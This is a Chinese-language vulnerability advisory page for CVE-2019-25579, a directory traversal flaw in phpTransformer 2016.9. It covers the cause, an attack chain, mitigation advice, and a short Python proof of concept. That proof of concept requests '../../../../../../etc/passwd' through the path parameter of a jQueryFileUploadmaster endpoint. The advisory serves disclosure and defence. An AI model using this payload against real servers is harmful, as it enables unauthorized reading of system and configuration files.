IPBUF安全漏洞报告
English
CVE-2019-25579 CVSS 7.5 高危

CVE-2019-25579 phpTransformer目录遍历漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25579
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpTransformer

相关标签

目录遍历phpTransformer任意文件读取信息泄露CVE-2019-25579

漏洞概述

phpTransformer 2016.9版本中存在严重的目录遍历漏洞。由于未对用户输入的path参数进行严格过滤,未经身份验证的攻击者可以向jQueryFileUploadmaster服务器端点发送恶意请求。通过在路径中使用“../”等遍历序列,攻击者能够绕过目录限制,列出并检索预期目录之外的任意文件。该漏洞可能导致敏感信息泄露,对系统机密性构成严重威胁。

技术细节

该漏洞的核心成因在于phpTransformer 2016.9版本所集成的文件上传处理组件未对用户输入进行有效的安全校验。具体而言,在处理针对jQueryFileUploadmaster端点的请求时,应用程序直接获取了用户提交的path参数,并将其作为文件路径用于后端的文件读取或列表操作,而未对其进行规范化和合法性检查。由于缺乏对特殊字符序列(如../)的过滤,攻击者可以利用这一缺陷构造恶意的HTTP请求。通过在参数中重复插入父目录遍历符,攻击者能够打破原本的目录沙箱限制,进而访问服务器文件系统上的任意文件。此过程无需用户交互,也不需要任何身份凭证。成功利用该漏洞将导致系统敏感信息(如配置文件、日志、源代码等)的泄露,严重威胁系统的机密性。

攻击链分析

STEP 1
1. 侦察探测
识别目标服务器是否运行phpTransformer 2016.9,并定位jQueryFileUploadmaster端点。
STEP 2
2. 构造攻击请求
利用漏洞,向目标端点发送包含目录遍历序列(如../)的恶意请求,操作path参数。
STEP 3
3. 执行目录遍历
服务器处理请求,由于未过滤特殊字符,攻击者成功跳出受限制目录。
STEP 4
4. 获取敏感文件
读取并返回目标文件(如/etc/passwd或配置文件)的内容,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://example.com/jQueryFileUploadmaster" # Vulnerable parameter: path # Using traversal sequences to escape the upload directory params = { "path": "../../../../../../etc/passwd" } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("Vulnerable! File content:") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

phpTransformer 2016.9

防御指南

临时缓解措施
建议立即限制对jQueryFileUploadmaster端点的访问,或在Web应用防火墙(WAF)中部署规则,拦截包含路径遍历字符的请求。如无法立即升级,应从服务器中移除受影响的组件或相关功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表